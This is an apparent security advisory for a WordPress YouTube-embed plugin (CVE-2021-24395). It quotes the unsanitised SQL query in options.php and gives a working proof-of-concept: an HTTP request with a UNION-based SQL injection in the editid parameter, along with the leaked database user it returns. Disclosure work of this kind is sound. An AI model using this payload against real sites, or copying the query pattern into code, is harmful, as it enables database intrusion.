Wp Plugin Embed Youtube Video

Plugin Details

Plugin Name: wp-plugin : embed-youtube-video
Effected Version : 1 (and most probably lower version's if any)
Vulnerability : Injection
Minimum Level of Access Required : Administrator
CVE Number : CVE-2021-24395
Identified by : Syed Sheeraz Ali
WPScan Reference URL

Disclosure Timeline

Technical Details

Vulnerable File: options.php#65

Vulnerable Code block and parameter:

Administrator level SQLi for parameter editid options.php#65

65:	$getdata = $wpdb->get_row("SELECT * FROM $table_name WHERE id=".$_GET['editid']);

PoC Screenshots

screenshot 1 screenshot 2 screenshot 3

Exploit

GET /wp-admin/admin.php?page=embed-youtube-video-add&editid=-6425+UNION+ALL+SELECT+NULL%2Cuser%28%29%2CNULL%2CNULL%2CNULL--+- HTTP/1.1
 Host: 172.28.128.50
 Cache-Control: max-age=0
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Sec-GPC: 1
 Accept-Encoding: gzip, deflate
 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
 Cookie: wordpress_232395f24f6cff47569f2739c21385d6=admin%7C1620296217%7CWkmGL5SslyPjLYatPrk3BCUD3lCvAFVWsQhWVi3vprf%7C8475e7d4391555999a28f903529ede52b4db9db5b0814428106c3f76ce8afff8; wordpress_test_cookie=WP%20Cookie%20check; tk_ai=woo%3AiQVT6EvbuCedvp65Wb1%2BuUEl; wordpress_logged_in_232395f24f6cff47569f2739c21385d6=admin%7C1620296217%7CWkmGL5SslyPjLYatPrk3BCUD3lCvAFVWsQhWVi3vprf%7Cb7fba360c152c68cc89f1e9df4b465982bbf84284ca828196dd138a62da0dd12; wp-settings-1=mfold%3Do%26editor%3Dtinymce; wp-settings-time-1=1620123417
 Connection: close
<td>
	<input type="text"  name="title" id="title" value="bob@localhost" class="regular-text" >
</td>